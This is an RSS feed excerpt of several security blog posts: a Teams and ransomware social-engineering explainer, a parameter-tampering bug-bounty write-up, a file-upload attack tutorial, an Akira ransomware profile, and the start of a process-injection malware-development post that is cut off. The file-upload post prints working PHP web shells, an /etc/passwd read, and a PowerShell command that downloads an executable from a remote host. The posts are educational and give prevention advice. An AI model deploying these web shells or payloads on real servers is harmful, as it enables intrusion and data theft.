            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QNuhPfwvnEAy7CKiqJkFRQ.jpeg" /></figure><p>In the age of remote work, employees are increasingly reliant on digital communication tools like email and Microsoft Teams. Unfortunately, these platforms have also become prime targets for cybercriminals looking to exploit unsuspecting users. According to blogs from <a href="https://news.sophos.com/en-us/2025/01/21/sophos-mdr-tracks-two-ransomware-campaigns-using-email-bombing-microsoft-teams-vishing/"><strong>Sophos</strong></a> and <a href="https://www.microsoft.com/en-us/security/blog/2024/05/15/threat-actors-misusing-quick-assist-in-social-engineering-attacks-leading-to-ransomware/"><strong>Microsoft</strong></a><strong>,</strong> recent threat campaigns from Black Basta ransomware and Storm-1811 are revealing a chilling new trend: cybercriminals are exploiting employees by first bombarding them with spam emails and then posing as tech support on Microsoft Teams to infiltrate networks. This approach is not only effective but highly dangerous, as it bypasses traditional security protocols by manipulating employees into providing access to sensitive systems. In this article, we’ll explore how these attacks work, why they’re so effective, and what companies can do to protect themselves.</p><p><strong>The Mechanics of the Attack:</strong></p><p><strong>Email Bombing:</strong> The first stage of this attack involves overwhelming employees with a large volume of spam emails. These emails often carry malicious attachments or phishing links, designed to trick recipients into clicking on them. The sheer volume of emails — often hundreds or even thousands — makes it difficult for employees to discern legitimate messages from malicious ones. Some employees may inadvertently open a phishing link or download a malicious attachment, setting the stage for the next phase of the attack.</p><p><strong>Microsoft Teams Impersonation (Vishing):</strong> Once the attacker has their foot in the door, they move to the next phase — posing as legitimate IT support personnel on Microsoft Teams. This is a form of social engineering known as “vishing” (voice phishing). The attacker uses tactics such as urgency and fear, claiming that there’s an urgent need to fix a critical issue.</p><p><strong>Social Engineering to Build Trust</strong>: The attacker engages in a conversation with the victim, referencing the email spam bomb and claiming to be from the helpdesk, here to assist the user with the “issue.” This manipulative tactic builds trust, pushing the victim to follow the attacker’s instruction.</p><p><strong>Remote Tool Download:</strong> The attacker than instructs the victim to download a remote access tool, such as QuickAssist, AnyDesk.exe, or ScreenConnect. The tool is portrayed as necessary to fix the purported technical problem.</p><p><strong>Exploring the Compromised System: </strong>Once the victim grants remote access, the attacker investigates the compromised system, looking for valuable data, vulnerabilities, or other potential attack vectors to escalate the breach.</p><p><strong>Malware Installation: </strong>After confirming remote access, the attacker installs malicious software, including ransomware or other types of malwares, onto the victim’s machine. This malware may be used to lock files, steal data, or further spread the attack within the network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-SX2LScwxTCoqGgDqPsGSA.jpeg" /></figure><p><strong>Why Are These Attacks So Effective?</strong></p><p>These attacks are highly effective due to a combination of exploiting employee trust and abusing legitimate software. Cybercriminals use email bombing to flood victims with emails, overwhelming spam filters and increasing the likelihood of malicious content being missed. Following this, they use Microsoft Teams or VoIP calls, impersonating IT support to gain trust.</p><p>As <a href="https://www.microsoft.com/en-us/security/blog/2024/05/15/threat-actors-misusing-quick-assist-in-social-engineering-attacks-leading-to-ransomware/"><strong>Microsoft’s security blog details,</strong></a> attackers also misuse QuickAssist, a legitimate tool for remote troubleshooting. They convince victims to run QuickAssist, allowing attackers to remotely access systems, install malware, or steal data while bypassing security defenses. Because QuickAssist is trusted, employees don’t suspect malicious intent, making the attack more effective.</p><p>By combining social engineering, email bombing, and exploiting trusted tools, these attacks bypass both technical defenses and human vigilance, making them difficult to detect and defend against.</p><p><strong>How to Protect Your Organization:</strong></p><p><strong>Educate Users on Tech Support Scams: </strong>Raise awareness among employees about the dangers of tech support scams, which use fear tactics to trick individuals into unnecessary and costly support services. Regular training can help users recognize and avoid these scams.</p><p><strong>Block Microsoft QuickAssist Domains: </strong>To mitigate the risk of abuse, consider blocking Microsoft QuickAssist domains across your environment, preventing malicious use of the tool.</p><p><strong>Manage Micosoft Teams Chats: </strong>Disable external Microsoft Teams chats or whitelist trusted domains to reduce exposure to social engineering attempts.</p><p><strong>Implement an Application Control Policy: </strong>Establish an Application Control Policy to block unexpected remote access tools, ensuring unauthorized software can’t be run on your network.</p><p><strong>Take Immediate Action in Case of Suspicious Remote Sessions: </strong>If you suspect that a remote session is being used for malicious purposes, immediately disconnect from the session and report the incident to your local authorities or relevant IT team.</p><p><strong>Conclusion</strong></p><p>The rise of email bombing combined with Microsoft Teams-based social engineering attacks marks a dangerous trend in ransomware campaigns. Cybercriminals are exploiting the platforms we rely on daily to infiltrate networks and steal sensitive data. As remote work continues to be a fixture in the workplace, organizations must be proactive in defending against these new forms of attack. By investing in employee training, advanced security technologies, and updated protocols, businesses can stay ahead of these growing threats and protect themselves from the perfect storm of ransomware.</p><p><strong>References</strong></p><p><a href="https://news.sophos.com/en-us/2025/01/21/sophos-mdr-tracks-two-ransomware-campaigns-using-email-bombing-microsoft-teams-vishing/">https://news.sophos.com/en-us/2025/01/21/sophos-mdr-tracks-two-ransomware-campaigns-using-email-bombing-microsoft-teams-vishing/</a></p><p><a href="https://www.microsoft.com/en-us/security/blog/2024/05/15/threat-actors-misusing-quick-assist-in-social-engineering-attacks-leading-to-ransomware/">https://www.microsoft.com/en-us/security/blog/2024/05/15/threat-actors-misusing-quick-assist-in-social-engineering-attacks-leading-to-ransomware/</a></p><p><a href="https://www.reliaquest.com/blog/black-basta-social-engineering-technique-microsoft-teams/">https://www.reliaquest.com/blog/black-basta-social-engineering-technique-microsoft-teams/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=95d9bba57923" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How we Discovered a Parameter Tampering Vulnerability that Led to Account Takeover]]></title>
            <link>https://medium.com/@wintersoldiers/how-we-discovered-a-parameter-tampering-vulnerability-that-led-to-account-takeover-46610fe15549?source=rss-2521b328e11f------2</link>
            <guid isPermaLink="false">https://medium.com/p/46610fe15549</guid>
            <dc:creator><![CDATA[Winter_Soldiers]]></dc:creator>
            <pubDate>Fri, 03 Jan 2025 08:54:45 GMT</pubDate>
            <atom:updated>2025-01-03T08:54:45.561Z</atom:updated>
            <content:encoded><![CDATA[<p>The Winter Soldiers are back on the frontline, sharing our latest findings on a significant vulnerability exploitation!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*zgOFqri7wsYTkBsYu6RXbg.png" /></figure><p>We found a parameter tampering vulnerability on a website, allowing for account takeover within its community forum. This discovery led to a monetary award 💰 and underscored the risks associated with insufficient validation. In this article, we will break down the steps we took to identify, exploit, and report the issue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*aqdeX-l-Fh5xZivzDxxMWQ.png" /></figure><p><strong>🔍 Overview of the Vulnerability</strong></p><p>The vulnerability was on a community forum that used Single Sign-On (SSO) for login. Users needed to register on the main website first and were then redirected back to the forum signup page, where they provided a username and email address.</p><p><em>⚠️ Vulnerability Found!</em> Here’s the key issue: the email field on this page was not fully validated. If an email was already in use, new users should not be able to reuse it. However, by altering the email field, it was possible to take over an existing account.</p><p><strong>Technical Analysis: What is Parameter Tampering? 🤔</strong></p><p>Parameter tampering is a type of web application vulnerability where an attacker manipulates input parameters (such as form fields, query strings, or cookies) exchanged between the client and server. By altering these parameters, attackers can modify application data in ways that the developers didn’t intend, often bypassing validation checks or gaining unauthorized access.</p><p>Here’s a breakdown of how it works and why it’s a risk:</p><ol><li><strong>How Parameter Tampering Works</strong>:</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*1JIrzjmLw3r4qZesLvHBGg.png" /></figure><ul><li>When a user submits data through a form, URL, or API, the application passes that information as parameters between the client and server.</li><li>In a parameter tampering attack, the attacker intercepts and modifies these parameters before they reach the server. Common tools for this include browser developer tools, intercepting proxies (like Burp Suite), and custom scripts.</li><li>Parameters like user ID, price, account status, or other sensitive fields are often targeted.</li></ul><p><strong>2. Why It’s Dangerous</strong>:</p><ul><li><strong>Unauthorized Access</strong>: Attackers may gain access to user accounts or restricted information by changing user IDs or email fields, as in your case.</li><li><strong>Privilege Escalation</strong>: Tampering with parameters may let attackers increase their permissions, gaining access to admin functions or restricted features.</li><li><strong>Financial Impact</strong>: Altering parameters related to prices or discounts can allow attackers to reduce costs or avoid payment entirely.</li></ul><p><strong>3. Real-World Example</strong>:<br> Suppose an e-commerce site passes the price of a product as a parameter in the URL (e.g., price=50). An attacker could modify this parameter to price=1 before submission, potentially reducing the price to 1.</p><p>Parameter tampering is often underestimated but can lead to severe security breaches if not addressed properly.</p><p><strong>🔍 How we Identified the Vulnerability</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*xYsvnwDP_EbxEGpXoDY7nA.png" /></figure><p>When we tested the signup flow, we noticed the email field didn’t verify if the email matched the authenticated user. This was a red flag 🚩! we created test accounts to confirm the issue, and the results validated my suspicions.</p><p>Here’s how the process unfolded with two accounts:</p><p><strong>Victim Email</strong>: m0ns7er+1@bugcrowdninja.com<br><strong>Attacker Email</strong>: m0ns7er+1337@bugcrowdninja.com</p><p><strong>🛠️ Exploiting the Vulnerability</strong></p><p>To demonstrate the impact, here’s the step-by-step process we followed:</p><ul><li><strong>Victim Account</strong>:</li></ul><ol><li>🔗 Go to <a href="https://community.xxxxxxxxxx.com./">https://community.xxxxxxxxxx.com.</a></li><li>➡️ Follow the redirect to <a href="https://login.xxxxxxxxxx.com./">https://login.xxxxxxxxxx.com.</a></li><li>Sign up with the victim email and get redirected back to the forum.</li><li>🔒 Complete the form with the victim’s email and username.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*Elb3N-tkSg5M4f6YllYS-w.png" /></figure><p>5. 🎉 Account created!</p><ul><li><strong>Attacker Account</strong>:</li></ul><ol><li>Go to <a href="https://community.xxxxxxxxxx.com./">https://community.xxxxxxxxxx.com.</a></li><li>Follow the redirect and create an account with the attacker email.</li><li>Get redirected back to the forum’s form.</li><li>🛠️ <strong>Exploit!</strong> Modify the email field with the victim’s email.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*Elb3N-tkSg5M4f6YllYS-w.png" /></figure><p>5. ✅ The attacker now has access to the victim’s forum account.</p><p><strong>🛡️ Resolution and Prevention</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*TgS2_nC-7eiGGZlgfyQrAQ.png" /></figure><p>After confirming the vulnerability, we responsibly disclosed it to the security team. They acted quickly, fixed the issue, and awarded a bug bounty 💵.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*Sv5xsqE4XFZBvV1FfCcMgw.png" /></figure><p><strong>Security Best Practices</strong>:</p><ul><li>Implement strict validation on sensitive fields.</li><li>Prevent parameter tampering by validating inputs at multiple levels.</li><li>Regularly audit parameter handling to catch issues early.</li></ul><p><strong>🚀 Conclusion</strong></p><p>Finding this bug highlighted the importance of input validation, especially in registration processes. Even small oversights can lead to major vulnerabilities, like account takeover! Discovering this bug allowed me to help improve security and learn valuable lessons. An NDA was signed, which prevents submitting this for a CVE.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=46610fe15549" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Guarding the Gateway: Understanding and Preventing File Upload Attacks]]></title>
            <link>https://medium.com/@wintersoldiers/guarding-the-gateway-understanding-and-preventing-file-upload-attacks-b116abd5eef0?source=rss-2521b328e11f------2</link>
            <guid isPermaLink="false">https://medium.com/p/b116abd5eef0</guid>
            <category><![CDATA[file-upload-vulnerability]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[rce-vulnerability]]></category>
            <dc:creator><![CDATA[Winter_Soldiers]]></dc:creator>
            <pubDate>Fri, 04 Oct 2024 06:11:09 GMT</pubDate>
            <atom:updated>2024-10-04T06:11:09.881Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello, everyone! The Winter Soldiers are back with fresh insights this month. Today, we’re uncovering the critical issue of file upload vulnerabilities and how they can lead to devastating security breaches.</p><h4><strong>Overview:</strong></h4><p>In today’s digital world, file upload features are common on many websites. However, if not properly secured, these features can provide an entry point for cybercriminals. This article will take you through how attackers can exploit a weak file upload system on Server ‘IAMVULNERABLE’.</p><h4><strong>File Upload Vulnerability:</strong></h4><p>File upload functions enable users to upload files to a web server’s file system, often with specific restrictions, such as allowing only JPG files. But what happens if you manage to upload a PHP file to a server that is set up to accept only JPG files? This situation can lead to file upload vulnerabilities, where the server’s restrictions are bypassed, potentially allowing malicious files to be uploaded and executed. This leads to potential security risks such as remote code execution, unauthorized access, or defacement.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*Y9iWBH-Q3JyTh17SqBFHCg.png" /></figure><h3><strong>The Attack: Step-by-Step Breakdown:</strong></h3><h4><strong>Reconnaissance Phase:</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*OSwEzsxHqR0OGchmoGhMjQ.png" /></figure><p>Before launching the attack, a standard reconnaissance process will be conducted to gather detailed information about Server ‘IAMVULNERABLE’. By checking the server’s Open ports, Services and Functionalities, the attacker will be able to identify the file upload feature. This information was crucial for effectively targeting the server’s weaknesses.</p><blockquote><strong>Identified File upload endpoint:</strong></blockquote><pre> hxxps[://]redacted[.]com/uploads/upload[.]php?</pre><h4><strong>What Makes File Upload Vulnerabilities So Risky?</strong></h4><p>1. Sometimes, websites fail to thoroughly check the type and content of uploaded files. This oversight can allow attackers to upload files with server-side code, like a web shell. Consequently, the attacker might gain control of the server, leading to serious security threats.</p><p>2. If a website does not validate the names of uploaded files, attackers can overwrite crucial files by uploading files with the same name. Additionally, if the server is susceptible to directory traversal attacks, attackers could replace files in unexpected locations, such as ‘C:\inetpub\wwwroot\default.aspx’ and ‘/var/www/html/index.php’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SwoEuGkxP83J6MOQMKPgoA.png" /></figure><h4><strong>Payload creation:</strong></h4><p>After completing the reconnaissance phase and identifying the vulnerabilities, the next step involved crafting a malicious payload to exploit the file upload functionality. The aim was to create a PHP file that, once uploaded to the server, could execute commands, manipulate files, or establish a backdoor for further exploitation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*9dg7SpH3DuAJ00ZdTr2-bA.png" /></figure><h4><strong>Crafting the Malicious PHP File:</strong></h4><p>The payload was crafted to look like a legitimate file, allowing it to bypass any basic validation checks the server might employ. This could take the form of a simple PHP shell, such as:</p><blockquote><strong>1.</strong> <strong>Web shell for command execution:</strong></blockquote><pre>&lt;?php<br>$cmd = $_GET[‘cmd’];<br>system($cmd); ?&gt;</pre><blockquote><strong>2.</strong> <strong>Web shell for accessing files:</strong></blockquote><pre>$file = $_GET[&#39;file&#39;];<br>include($file);</pre><h3><strong>Exploitation Phase:</strong></h3><p>By crafting a malicious file that exploits the security weaknesses in the upload feature, attacker will be able to bypass initial security controls.</p><h4><strong>Deploying the Script:</strong></h4><ol><li>Save the above PHP code as ‘payload.php’ and upload it to the server in a location that is accessible via the web.</li></ol><h4><strong>Executing Commands:</strong></h4><ol><li>Access the script via your browser and append a cmd parameter to the URL with the command you want to run.</li></ol><pre>hxxps[://]redacted[.]com/uploads/payload[.]php?cmd=whoami</pre><p>This would execute the whoami command on the server and display the current user.</p><blockquote>Output: www-data or Admin</blockquote><h4><strong>Sample commands can be executed:</strong></h4><p>1. <strong>Dir </strong>— Lists files and directories in the current directory (for Windows).</p><p>2. <strong>Ipconfig </strong>— Displays network interface information, including IP addresses.</p><p>3. <strong>netstat -an</strong> — Shows active network connections and listening ports.</p><p>4. <strong>Tasklist </strong>— Displays a list of currently running processes.</p><p>5. <strong>Systeminfo </strong>— Provides detailed information about the system, including OS version, architecture, and more.</p><p>6. <strong>Set</strong> — Lists all environment variables for the current session.</p><p>7. <strong>net user</strong> — Displays user accounts on the system.</p><p>8. <strong>type C:\path\to\file.txt</strong> — Outputs the contents of a text file.</p><p>9. <strong>ping example.com</strong> — Pings a remote host to check network connectivity.</p><p>10. <strong>powershell -command “Invoke-WebRequest -Uri ‘hxxps://example.com/file.exe’ -OutFile ‘C:\winter\soldier\download\file.exe’”</strong> — Downloads a file from a remote server using PowerShell.</p><p>Further obfuscated commands also can be executed to deploy malicious payloads on the server for command-and-control activity and maintaining shell access.</p><h3><strong>Accessing the etc/passwd:</strong></h3><pre>&lt;?php<br>system(&quot;cat /etc/passwd&quot;);<br>?&gt;</pre><ol><li>Save and upload the above code to the server. The file will be successfully stored on the server.</li></ol><pre>hxxps[://]redacted[.]com/uploads/files/rce.php</pre><p>2. Now just by accessing the uploaded file, we can view the etc/passwd content.</p><blockquote><strong>Request:</strong></blockquote><pre>GET /upload/files/rce.php  HTTP/1.1<br>Host: redacted.com</pre><blockquote><strong>Response:</strong></blockquote><pre>HTTP/1.1 200 OK<br>Server: nginx<br>Date: Fri, 04 Oct 2024 12:57:21 GMT<br>Content-Type: text/html; charset=UTF-8<br>Connection: keep-alive<br>Vary: Accept-Encoding<br>Content-Length: 802<br><br>root:x:0:0:root:/root:/bin/bash<br>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin<br>bin:x:2:2:bin:/bin:/usr/sbin/nologin<br>sys:x:3:3:sys:/dev:/usr/sbin/nologin<br>sync:x:4:65534:sync:/bin:/bin/sync</pre><h3><strong>Impact:</strong></h3><p>The consequences of File upload vulnerability attacks vary based on the environment of the compromised device and the attacker’s objectives. Often, this is the entry point and leads to other attacks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*AR-n7pMPChnyruFl4EOgzg.png" /></figure><h4><strong>Remote Code Execution (RCE):</strong></h4><p>Attackers can upload malicious scripts (e.g., PHP, Python) that get executed on the server, allowing them to take complete control of the system. Full system compromise, giving attackers access to sensitive data, the ability to execute commands, or pivot to other parts of the network.</p><h4><strong>Website Defacement:</strong></h4><p>Attackers can upload files that modify or replace the website’s content, defacing the site and potentially damaging your brand’s reputation.</p><h4><strong>Malware Distribution:</strong></h4><p>Malicious files (e.g., ransomware, trojans) can be uploaded and distributed to other users or clients of the site, leading to further infections<strong>.</strong></p><h4><strong>Privilege Escalation:</strong></h4><p>Attackers may exploit file upload vulnerabilities to elevate their privileges by overwriting critical files or executing malicious code with higher privileges. Attackers could gain administrative access to the system, allowing full control over the server and its data.</p><h4><strong>Data Theft:</strong></h4><p>If attackers upload malicious scripts, they can use them to steal sensitive files, configuration data, user credentials, or even the database.</p><h3><strong>Prevention:</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*8dqjRySoqroXAZ6SYGxQDQ.png" /></figure><h4><strong>Restriction of File Types:</strong></h4><p>1. Permit only certain formats (e.g., .jpg, .png, .pdf). Implement MIME-type validation along with file extension checks to prevent any potential bypasses.</p><p>2. Ensure file type validation is performed server-side to prevent users from bypassing client-side checks.</p><h4><strong>Use Secure File Storage:</strong></h4><p>Store uploaded files in a location outside of publicly accessible directories to prevent direct access through a URL.</p><h4><strong>Sanitize File Names:</strong></h4><p>Sanitize file names by removing or escaping special characters to prevent file path manipulation or injection attacks.</p><h4><strong>Limit File Size:</strong></h4><p>Set strict limits on the size of uploaded files to prevent denial-of-service (DoS) attacks due to excessively large uploads.</p><h4><strong>Regularly Patch and Update Software:</strong></h4><p>Keep your web server, libraries, and CMS updated with security patches to protect against known vulnerabilities in file handling.</p><p><strong>HAPPY HACKING!!!</strong></p><p><strong>References:</strong></p><p><a href="https://www.cobalt.io/blog/file-upload-vulnerabilities">https://www.cobalt.io/blog/file-upload-vulnerabilities</a></p><p><a href="https://www.invicti.com/learn/remote-code-execution-rce/">https://www.invicti.com/learn/remote-code-execution-rce/</a></p><p><a href="https://www.acunetix.com/websitesecurity/php-security-2/">https://www.acunetix.com/websitesecurity/php-security-2/</a></p><p><a href="https://vulp3cula.gitbook.io/hackers-grimoire/exploitation/web-application/rce">https://vulp3cula.gitbook.io/hackers-grimoire/exploitation/web-application/rce</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b116abd5eef0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding the Akira Ransomware Group]]></title>
            <link>https://medium.com/@wintersoldiers/understanding-the-akira-ransomware-group-f52b1b5f5562?source=rss-2521b328e11f------2</link>
            <guid isPermaLink="false">https://medium.com/p/f52b1b5f5562</guid>
            <dc:creator><![CDATA[Winter_Soldiers]]></dc:creator>
            <pubDate>Fri, 06 Sep 2024 12:53:18 GMT</pubDate>
            <atom:updated>2024-09-06T12:53:18.876Z</atom:updated>
            <content:encoded><![CDATA[<p>Winter Soldiers are back with another article for a new month. This month we dive into understanding how the infamous Akira Ransomware group has been creating havoc across the globe for over a year.</p><p><strong>Introduction</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/1*zZidw6OTfbDAOub4X92xAA.png" /></figure><p>In the evolving landscape of cyber threats, ransomware remains a significant concern for organizations worldwide. One such threat actor weaking havoc for over a year is Akira Ransomware. This group was identified in 1st quarter of 2023.</p><p>This article delves into the origins, modus operandi, and tactics of the Akira group.</p><p><strong>Origins and Characteristics</strong></p><p>The term “Akira” translates to “bright” or “sunlight” in Japanese, ironically, the name of a ransomware group. Akira operates as a Ransomware as a Service (RaaS) model, primarily targeting small and medium-sized organizations. Their attacks are characterized by a systematic approach that includes data exfiltration prior to file encryption, making them particularly dangerous.</p><p><strong>Connection with the Conti Group</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/214/1*l7yEUo5BgWmXEcsgkbg7Ww.png" /></figure><p>Research indicates that Akira has connections to the Conti ransomware gang, which was known for its sophisticated attacks before its dissolution. Similarities in exploitation approaches, targeted file types, encryption algorithms, and ransom payment methods suggest a shared lineage or collaboration between the two groups.</p><p><strong>Modus Operandi</strong></p><p>- Akira employs double extortion techniques, which involve not only encrypting files but also exfiltrating sensitive data before encryption occurs.</p><p>- This dual threat compels victims to consider paying the ransom to avoid public exposure of their data.</p><p>- The group targets both Windows and Linux systems, utilizing ChaCha2008 encryption.</p><p>- Additionally, they delete Volume Shadow Copies to hinder recovery efforts and append a unique “.akira” extension to encrypted files, accompanied by a ransom note.</p><p><strong>Target Demographics</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/467/1*Gy770vXumfw7Ra_pL3VkPQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/1*Xv77dUiSrb8b5IAZ4GpnEw.png" /></figure><p>The primary targets of Akira are organizations in the United States, with a focus on states such as California, Texas, Illinois, and regions along the East Coast. The group’s attacks span various industries, including materials, manufacturing, education, finance, legal, and healthcare.</p><p><strong>A sneak peak at the Akira website and Ransom Note</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/494/1*iA0D6rdgRr1UOABVLIV-eQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/459/1*QLs2-VwR6MxaSbo-l2z8UQ.png" /></figure><p><strong>Tactics and Techniques</strong></p><p>The Akira group employs a range of tactics as outlined by the Mitre framework, which includes:</p><ul><li><strong>Initial Access</strong>: Gaining entry through compromised VPN credentials and exploiting vulnerabilities in Cisco VPNs and Veeam Backup.</li><li><strong>Persistence</strong>: Creating new domain accounts and using tools like nssm.exe to maintain remote access.</li><li><strong>Defense Evasion</strong>: Utilizing tools to terminate antivirus processes and employing various discovery techniques to gather system information.</li><li><strong>Lateral Movement</strong>: Moving laterally within the network using RMM tools such as AnyDesk and ScreenConnect</li><li><strong>Credential Access</strong>: Using tools like Mimikatz to dump credentials and exploit backup services.</li><li><strong>Command &amp; Control</strong>: Connecting to their servers using tools such as Radmin, RustDesk, ngrok, etc.</li></ul><p><strong>Defense and Mitigation Strategies</strong></p><p>To combat the threat posed by Akira and similar ransomware groups, organizations are advised to implement robust defense strategies. Recommendations from the FBI include:</p><ul><li>Review domain controllers, servers, workstations, and active directories for new or unrecognized user accounts.</li><li>Regularly back up data, air gap, and password-protect backup copies offline. Ensure copies of critical data are not accessible for modification or deletion from the system where the data resides.</li><li>Review Task Scheduler for unrecognized scheduled tasks. Additionally, manually review operating system-defined or system-recognized scheduled tasks for unrecognized “actions.” (For example, review the steps each scheduled task is expected to perform.)</li><li>Review anti-virus logs for indications that they were unexpectedly turned off.</li><li>Require administrator credentials to install software.</li><li>Install updates/patch operating systems, software, and firmware as soon as updates/patches are released.</li><li>Use multi-factor authentication where possible.</li><li>Regularly change the passwords to network systems and accounts and avoid re-using passwords for different accounts.</li><li>Implement the shortest acceptable timeframe for password changes.</li><li>Disable unused remote access/Remote Desktop Protocol (RDP) ports and monitor remote access/RDP logs.</li><li>Audit user accounts with administrative privileges and configure access controls with least privilege in mind.</li><li>Install and regularly update anti-virus and anti-malware software on all hosts.</li></ul><p><strong>Conclusion</strong></p><p>The Akira ransomware group exemplifies the evolving nature of cyber threats, particularly in the realm of ransomware. By understanding their tactics and implementing recommended defense strategies, organizations can better protect themselves against these malicious actors. As the cyber threat landscape continues to change, vigilance and proactive measures will be essential in safeguarding sensitive data and maintaining operational integrity.</p><p><strong>Resources</strong></p><p>For further information on Akira ransomware, the following resources are recommended:</p><ul><li><a href="https://github.com/rivitna/Malware/tree/main/Akira">Akira Samples and Scripts</a></li><li><a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-109a">CISA Cybersecurity Advisories</a></li><li><a href="https://www.trellix.com/en-in/blogs/research/akira-ransomware/">Trellix Research on Akira Ransomware</a></li><li><a href="https://news.sophos.com/en-us/2023/12/21/akira-again-the-ransomware-that-keeps-on-taking/">Sophos News on Akira</a></li><li><a href="https://www.hhs.gov/sites/default/files/akira-randsomware-analyst-note-feb2024.pdf">HHS Analyst Note on Akira</a></li></ul><p>Image Resources:</p><p>· <a href="https://www.truesec.com/hub/blog/akira-ransomware-victim">https://www.truesec.com/hub/blog/akira-ransomware-victim</a></p><p>· <a href="https://news.sophos.com/en-us/2023/05/09/akira-ransomware-is-bringin-88-back/">https://news.sophos.com/en-us/2023/05/09/akira-ransomware-is-bringin-88-back/</a></p><p>· <a href="https://www.hhs.gov/sites/default/files/akira-randsomware-analyst-note-feb2024.pdf">https://www.hhs.gov/sites/default/files/akira-randsomware-analyst-note-feb2024.pdf</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f52b1b5f5562" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Remote Process Injection]]></title>
            <link>https://medium.com/@wintersoldiers/remote-process-injection-739f93240016?source=rss-2521b328e11f------2</link>
            <guid isPermaLink="false">https://medium.com/p/739f93240016</guid>
            <category><![CDATA[malware-development]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[windows-malware]]></category>
            <category><![CDATA[cyber-security-services]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[Winter_Soldiers]]></dc:creator>
            <pubDate>Fri, 02 Aug 2024 16:17:35 GMT</pubDate>
            <atom:updated>2024-08-02T16:17:35.408Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey Ladies and Gentlemen, Winter Soldier is back again with yet another interesting topic “Remote Process injection”. As for a better understanding, check out my previous two posts on <strong>‘Windows Malware Development’.</strong></p><p><strong>What is Process Injection ?</strong></p><p>Process Injection, identified by MITRE as <a href="https://attack.mitre.org/techniques/T1055/">T1055</a>, involves injecting malicious shellcode into the memory space of a remote process on a target computer. This technique grants attackers control over the execution of the remote process, potentially leading to unauthorized access, data theft, or other malicious activities.</p><p>Despite being a longstanding method exploited by malware and ransomware for over a decade, its significance remains pivotal. Even though modern Antivirus (AV) and Endpoint Detection and Response (EDR) systems can detect it more effectively now, understanding this technique is crucial for comprehending advanced evasion strategies.</p><p>Since this is our first we will go with simple setups, Setups to perform the Remote Process Injections</p><ul><li>Win APIs are used to allocate a memory for the shellcode.</li><li>A new thread is created to began the execution of the shellcode.</li><li>The shellcode is executed and an connection is established to the attacker machine.</li></ul><figure><img alt="Remote Process Injection" src="https://cdn-images-1.medium.com/max/487/0*EZRfhE_ZrkL4R4Ce.png" /><figcaption>Fig: Remote Process Injection</figcaption></figure><p>In this example, we’re going to use the C programming language. Some people might ask why we’re choosing C when there are many other programming languages available, such as Python, C++, C#, Ruby, Go, and more.</p><p>Practically, any programming language can serve as a foundation for crafting malware, including Python, PowerShell, C#, C, C++, and Go. However, certain languages tend to be favored for malware development due to several factors:</p><ol><li><strong>Obfuscation</strong>: Some languages are inherently more challenging to reverse engineer, aligning with the attacker’s goal of keeping the malware’s behavior obscure from defenders.</li><li><strong>Dependencies</strong>: Execution of malware coded in certain languages may rely on specific prerequisites on the target system. For instance, executing Python scripts necessitates the presence of a Python interpreter on the target machine, limiting the malware’s portability.</li><li><strong>File Size: </strong>Different languages yield varying file sizes for the generated malware, impacting distribution and evasion tactics.</li><li><strong>High-level vs. Low-level</strong>: Languages can be categorized into high-level and low-level. High-level languages, like Python, offer abstraction from the operating system and less memory efficiency, whereas low-level languages, such as C, afford more direct interaction with the system and greater control over operations.</li></ol><p>Considering these factors, low-level languages are often preferred in malware development, particularly for Windows systems, due to their ability to interact intimately with the operating system and offer developers more control.</p><p>Okay, I understand. That was a lot of theory. I’m not a big fan of theory either, so let’s get our hands dirty without talking too much. Let’s jump right into hands-on experiences.</p><figure><img alt="Hands-on Arnold" src="https://cdn-images-1.medium.com/max/490/1*8kUnAL_5KXevp54XhLdkSA.gif" /></figure><p>Firstly, generating the Shellcode using msfvenom</p><figure><img alt="msfvenom shellcode gererating" 